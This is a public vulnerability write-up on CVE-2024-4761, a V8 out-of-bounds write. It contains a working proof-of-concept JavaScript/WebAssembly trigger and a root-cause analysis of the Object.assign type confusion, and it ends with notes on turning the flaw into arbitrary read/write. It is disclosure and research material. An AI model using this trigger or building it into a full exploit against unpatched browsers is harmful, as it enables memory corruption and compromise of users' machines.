author: @buptsb, @mistymntncop
2024-05-22 06:53:59
part1: https://x.com/buptsb/status/1790305894401753441
full PoC: https://x.com/buptsb/status/1792197573694107877
This writeup is the FIRST public disclosure for this vulnerability.
Info
[N/A][339458194] High CVE-2024-4761: Out of bounds write in V8. Reported by Anonymous on 2024-05-09
https://chromereleases.googleblog.com/2024/05/stable-channel-update-for-desktop_13.html
Google is aware that an exploit for CVE-2024-4761 exists in the wild.
https://chromium-review.googlesource.com/c/v8/v8/+/5527397
PoC
https://gist.github.com/mistymntncop/2cb449eb6aa30d35d1afd78a8b06bac2
// Build d8 using:
// a) Run once
// git checkout 6f98fbe86a0d11e6c902e2ee50f609db046daf71
// gclient sync
// gn gen ./out/x64.debug
// gn gen ./out/x64.release
//
// b)
// Debug Build:
// ninja -C ./out/x64.debug d8
//
// Release Build:
// ninja -C ./out/x64.release d8
//
function gc_minor() { //scavenge
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
function gc_major() { //mark-sweep
new ArrayBuffer(0x7FE00000);
}
d8.file.execute("wasm-module-builder.js");
let builder = new WasmModuleBuilder();
let array_type = builder.addArray(kWasmI32, true);
builder.addFunction('create_array', makeSig([kWasmI32], [wasmRefType(array_type)]))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprArrayNewDefault, array_type,
])
.exportFunc();
let wasm_instance = builder.instantiate({});
let wasm = wasm_instance.exports;
const kDescriptorIndexBitCount = 10;
const kMaxNumberOfDescriptors = (1 << kDescriptorIndexBitCount) - 4; //1020
//TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler)
// args.ForEach(
// [=](TNode<Object> next_source) {
// CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);
// },
// IntPtrConstant(1));
//TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler)
// TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
//RUNTIME_FUNCTION(Runtime_SetDataProperties)
// JSReceiver::SetOrCopyDataProperties(...)
function install_primitives() {
let src = {};
for(let i = 0; i < (kMaxNumberOfDescriptors+1); i++) {
src[`p${i}`] = 1;
}
//stops us from crashing in SetOrCopyDataProperties
src.__defineGetter__("p0", function() {
throw new Error("bailout");
});
//need to create the map beforehand to avoid descriptor arrays being allocated
//innapropriately
let dummy = {};
dummy.i1 = 0;
dummy.i2 = 0;
dummy.i3 = 0;
dummy.i4 = 0;
for(let i = 1; i <= 16; i++) {
dummy[`p${i}`] = 0;
}
var o = {};
//inline properties
o.i1 = 0;
o.i2 = 0;
o.i3 = 0;
o.i4 = 0;
//external properties
o.p1 = 0; //fake SeqTwoByteString length field
for(let i = 2; i <= 15; i++) {
o[`p${i}`] = 0;
}
let wasm_array = wasm.create_array(0);
o.p16 = 0; //reallocates new property array twice as large
var arr1 = [1.1];//, 1.1, 1.1, 1.1];
var arr2 = [{}];
%DebugPrint(wasm_array);
%DebugPrint(o);
try {
//trigger 1 element OOB zero write
Object.assign(wasm_array, src);
} catch(err) {}
gc_major();
%DebugPrint(wasm_array);
o.p9 = 1024;
o.p11 = 1024;
//%DebugPrint(o); //will crash
%DebugPrint(arr1);
}
function pwn() {
install_primitives();
}
pwn();
Analysis
Part 1: type confusion
When calling Object.assign()
on a WasmObject, JSReceiver::SetOrCopyDataProperties()
lacks a type check
IsJSObject(*target)
before calling Handle::cast(target), which causes type confusion from WasmObject
to JSObject.
As WasmObject is only a JSReceiver
, not a JSObject
, we may have inconsistency during the call to JSObject::NormalizeProperties
on the target WasmObject.
Call stack:
JSReceiver::SetOrCopyDataProperties
JSObject::NormalizeProperties(target, CLEAR_INOBJECT_PROPERTIES)
Runtime::SetObjectProperty(target, key, value)
JSObject::NormalizeProperties
new_map = Map::Normalize(map)
JSObject::MigrateToMap(target, new_map, expected_additional_properties)
Map::Normalize
Map::CopyNormalized()
new_instance_size = map->instance_size()
if (mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kTaggedSize;
}
result = RawCopy(map, new_instance_size, 0)
Factory::NewMap(), Factory::NewMapImpl()
Factory::InitializeMap()
if (InstanceTypeChecker::IsJSObject(type)) {
...
} else {
map->set_inobject_properties_start_or_constructor_function_index(0) <------- (1)
}
JSObject::MigrateToMap
MigrateFastToSlow()
<create dictionary...>
object->SetProperties(*dictionary)
// clear up in-object properties
inobject_properties = new_map->GetInObjectProperties()
for (int i = 0; i < inobject_properties; i++) {
object->FastPropertyAtPut(FieldIndex::ForPropertyIndex(*new_map, i), Smi::zero()); <------- (2)
}
FieldIndex::ForPropertyIndex
bool is_inobject = property_index < map->GetInObjectProperties()
if (is_inobject) offset = map->GetInObjectPropertyOffset(property_index) <------- (3)
return FieldIndex(...)
in (1) new_map’s "in-object properties" start offset is set to zero, for a non-jsobject as we have a WasmObject
in (3) then the FieldIndex’s offset would start from 0
in (2) override the whole WasmObject from [map addr, map addr + N] with zeros values, N is controlled by us
Part2: control the oob write length
WasmStruct::EncodeInstanceSizeInMap
and WasmArray::EncodeElementSizeInMap
would use fields in map for GC uses.
For WasmStruct, it encodes its GCsize in byte1
and byte2
of its map.
Now refer to the Map layout map:
[byte0]: instance size
byte1: inobject_properties_start_or_constructor_function_index()
byte2: used_or_unused_instance_size_in_words()
For a WasmStruct:
Map::instance_size()
return 0
Map::GetInObjectProperties()
return instance_size_in_words() - GetInObjectPropertiesStartInWords();
Map:GetInObjectPropertiesStartInWords()
return inobject_properties_start_or_constructor_function_index()
Map::GetInObjectPropertyOffset(int index)
return (GetInObjectPropertiesStartInWords() + index) * kTaggedSize;
Then we could control how many zeros to write in memory, through setting the size of the WasmStruct.
Failed attempts
Now we have a kind of weak primitve of oob writing any zeros, but how to exploit this primite into any oob read/write?
Attempt 1: try calling left trim on the JSArray
Tagged<FixedArrayBase> Heap::LeftTrimFixedArray(Tagged<FixedArrayBase> object,
int elements_to_trim) {
...
const int element_size = IsFixedArray(object) ? kTaggedSize : kDoubleSize;
const int bytes_to_trim = elements_to_trim * element_size; <------ IsFixedArray(object) return false, bytes_to_trim = 8
const int len = object->length(); <--------- len is 0
DCHECK(elements_to_trim <= len);
Address old_start = object.address();
Address new_start = old_start + bytes_to_trim;
CreateFillerObjectAtRaw(); <--- create 8 bytes filler at old_start
...
RELAXED_WRITE_FIELD(object, bytes_to_trim,
Tagged<Object>(MapWord::FromMap(map).ptr()));
RELAXED_WRITE_FIELD(object, bytes_to_trim + kTaggedSize,
Smi::FromInt(len - elements_to_trim)); <---------- overflow???
}
Then create jsarray from fixedarray?
But the fixedarray's length now overflows, but into a negative value...
Same GC technique as CVE-2024-4947
Just same as the same technique from CVE-2024-4947, we could corrupt a object's PropertyArray size using a fake Map object from addr cage base+0
.